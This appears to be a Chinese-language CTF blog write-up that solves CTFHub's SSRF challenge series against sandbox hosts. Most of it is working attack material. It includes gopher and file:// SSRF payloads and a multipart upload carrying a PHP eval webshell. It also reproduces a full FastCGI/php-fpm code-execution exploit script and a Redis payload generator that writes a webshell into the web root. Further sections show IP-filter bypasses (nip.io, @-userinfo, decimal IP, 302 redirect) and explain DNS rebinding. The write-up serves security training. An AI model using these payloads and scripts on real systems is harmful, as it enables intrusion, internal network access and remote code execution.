CTFHub-技能树-SSRF

2024-01-25 21:46:10

SSRF

SSRF

1.内网访问

题目描述

尝试访问位于127.0.0.1的flag.php吧
解题过程

打开题目，url为http://challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080/?url=_

推测可以通过参数url访问内网

直接访问?url=http://127.0.0.1/flag.php即可

2.伪协议读取文件

题目描述

尝试去读取一下Web目录下的flag.php吧
解题过程

url为http://challenge-cc86fd87db00a898.sandbox.ctfhub.com:10080/?url=_

直接访问?url=http://127.0.0.1/flag.php，没有flag，根据题目描述，应该在源码中，改用ssrf的伪协议读取

?url=file:///var/www/html/flag.php即可

3.端口扫描

题目描述

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
解题过程

访问?url=http://127.0.0.1:8000，burp抓包，intruder端口爆破

4.POST请求

题目描述

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦

解题过程

访问?url=http://127.0.0.1/302.php

<?php
if(isset($_GET['url'])){
    header("Location: {$_GET['url']}");
    exit;
}

highlight_file(__FILE__);

访问?url=file:///var/www/html/index.php

<?php

error_reporting(0);

header("Help: here is 302.php");

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
>

访问?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if(isset($_POST["key"]) && $_POST["key"] == $key){
    echo $flag;
    exit;
}
?>

访问?url=http://127.0.0.1/flag.php

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=5e37e6b3f645b286834aabb8a49dac71-->
</form>

现在拿到了key，只需要构造POST请求，把key提交给flag.php页面即可

（这个过程自己把自己坑了一把）

ssrf中可以使用gopher协议来构造post请求，具体格式：

gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

构造请求包：

！注意Content-Length和Content-Type，可以直接访问页面提交数据，用burp抓包再修改Host

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=5e37e6b3f645b286834aabb8a49dac71

HTTP版本之前编码一次，之后部分URL编码两次：

！注意，换行符是%0d%0a

POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71

拼接payload：

?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71

题目给了提示，curl会跟踪302跳转，这个点主要用于参数长度或内容有限制的时候，可以通过302跳转来实现ssrf。例如，限制了url长度，那么可以在自己的vps或者靶机上，上传构造好的（Location: gopher://xxxxxxxx）跳转页面，然后直接访问跳转页面，即可实现ssrf。

5.上传文件

题目描述

这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运

解题过程

访问?url=file:///var/www/html/flag.php查看flag代码

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] ){
    echo getenv("CTFHUB");
    exit;
}
?>

自行在form表单中添加提交按钮<input type="submit" value="提交">

用burp抓包

CTFHub-技能树-SSRF

修改后：

POST /flag.php HTTP/1.1
Host: challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
Content-Length: 222
Cache-Control: max-age=0
Origin: http://challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFq9cC6PrPMDmf6JG
User-Agent: Mozilla/5.0 
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryFq9cC6PrPMDmf6JG
Content-Disposition: form-data; name="file"; filename="draft.php"
Content-Type: application/octet-stream

<?php eval($_POST[x]); ?>
------WebKitFormBoundaryFq9cC6PrPMDmf6JG--

改为ssrf

?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHost%253A%2520challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%2520222%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%250D%250AAccept%253A%2520%252A/%252A%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522draft.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bx%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG--

直接访问就给flag了

6.FastCGI协议

题目描述

这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

附件

解题过程

浅略分析

这道题坑有点多 = =，反复做了好几次才成功，主要有几点：

题目附件中的exp是使用fastcgi协议发送报文的，是直接向php-fpm（9000端口）发送的，外网不能访问到该端口，不能直接拿来打题目url
- 所以要自己手动获取fastcgi发送的报文，然后利用gopher进行内网访问9000端口的fpm
需要使用hex编码来构造payload，而hexdump在x86环境下是小端显示（就是地址位低的字节在前）
hex编码后的payload需要转换位url编码，然后再次url编码（一共两次url编码）

步骤（我是在kali虚拟机上完成的）

监听端口（可以不用9000，可以随意更换，但是在下面的exp里也要修改对应端口），使用hexdump的大端显示模式，把结果存到1.txt
- nc -lvvp 9000 | hexdump -C > 1.txt

执行exp

python exp.py -c "<?php var_dump(system('ls /')); ?>" -p 9000 0.0.0.0 /var/www/html/index.php
用法python exp.py -c php代码 -p php-fpm端口 ip 任意php文件的绝对路径
这里我们是要自己向自己的端口访问，来获取请求报文，所以端口可以任意设置

exp脚本（p神yyds！）

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)

处理请求报文

我在参考里的脚本上添加了一些处理的代码，来过滤hexdump -C的对照信息，然后转换成url编码格式

import urllib

# 打开报文
file = open("/home/kali/1.txt","r")
content = file.readlines()
# 读取报文，去除对照信息
str_ = ""
for line in content:
    str_ += line[8:-20]
# 去除空格和换行符
str_dealed = str_.replace("\n", "").replace(" ", "")
# 转换为url编码形式
payload = ""
length = len(str_dealed)
for i in range(0, length, 2):
    temp = "%" + str_dealed[i] + str_dealed[i+1]
    payload += temp
# 再次url编码
print(urllib.quote(payload))

拼接payload
- http://challenge-id.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_payload

参考

https://blog.csdn.net/rfrder/article/details/108589988

https://blog.csdn.net/mysteryflower/article/details/94386461

7.Redis

题目描述

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

解题过程

访问?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

这道题和上道题方法类似，都是利用gopher来构造特定协议内容，直接和应用通信，这道题用的是Redis的RESP协议

关于RESP和其他详细分析，可以参考这篇文章

利用Redis来写webshell

redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

利用脚本转换为gopher的payload（出自上面的文章）

import urllib
from urllib import parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload_prefix = protocol + ip + ":" + port + "/_"
CRLF = "\r\n"


def redis_format(arr):
    redis_arr = arr.split(" ")
    cmd_ = ""
    cmd_ += "*" + str(len(redis_arr))
    for x_ in redis_arr:
        cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
    cmd_ += CRLF
    return cmd_


if __name__ == "__main__":
    payload = ""
    for x in cmd:
        payload += parse.quote(redis_format(x))  # url编码
    payload = payload_prefix + parse.quote(payload)  # 再次url编码
    print(payload)

添加了一次url编码，来适配GET的两次解码

得到payload：gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

然后访问/shell.php?cmd=php_code;即可

8.URL Bypass

题目描述

url must startwith "http://notfound.ctfhub.com"
解题过程

之前有过xss的bypass经验，知道两个方法：
- 利用xip.io（可以直接访问该域名，里面有详细说明）
  - 访问www.xxx.com.1.1.1.1.xip.io，会解析为1.1.1.1
  - 尝试发现，xip.io被ban了
- 尝试nip.io
  - 可以使用
  - payload：?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
- 使用HTTP基础认证
  - payload：?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

9.数字IP Bypass

题目描述

无
解题过程

访问?url=http://127.0.0.1，提示ban掉了127 172 @

只需要把127.0.0.1转换为数字IP，结果为2130706433

payload：?url=http://2130706433/flag.php

10.302跳转 Bypass

题目描述

无
解题过程

访问?url=http://127.0.0.1，提示禁止访问局域网ip

只需要把跳转的脚本上传到vps上，然后访问vps上的脚本，跳转回去即可
```
<?php
if(isset($_GET['url'])){
    header("Location: {$_GET['url']}");
    exit;
}
?>
```
?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php

11.DNS重绑定 Bypass

题目描述

无
解题过程

访问?url=http://127.0.0.1，提示禁止访问局域网ip

题目是DNS重绑定，就去搜了一下相关资料来源：https://www.freebuf.com/articles/web/135342.html

对于常见的IP限制，后端服务器可能通过下图的流程进行IP过滤：

对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。

但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查，利用这个时间差，我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0。这样就可以进行攻击了，完整的攻击流程为：

(1)、服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP

(2)、对于获得的IP进行判断，发现为非黑名单IP，则通过验证

(3)、服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证，所以服务器端返回访问内网资源的结果。

推荐一个很详细的资料：关于DNS-rebinding的总结

需要有域名和vps，然后根据总结里的方法，就可以完成

（我暂时没有能用的域名，挖个坑，以后来填）

码农公寓

SSRF

1.内网访问

2.伪协议读取文件

3.端口扫描

4.POST请求

5.上传文件

6.FastCGI协议

7.Redis

8.URL Bypass

9.数字IP Bypass

10.302跳转 Bypass

11.DNS重绑定 Bypass

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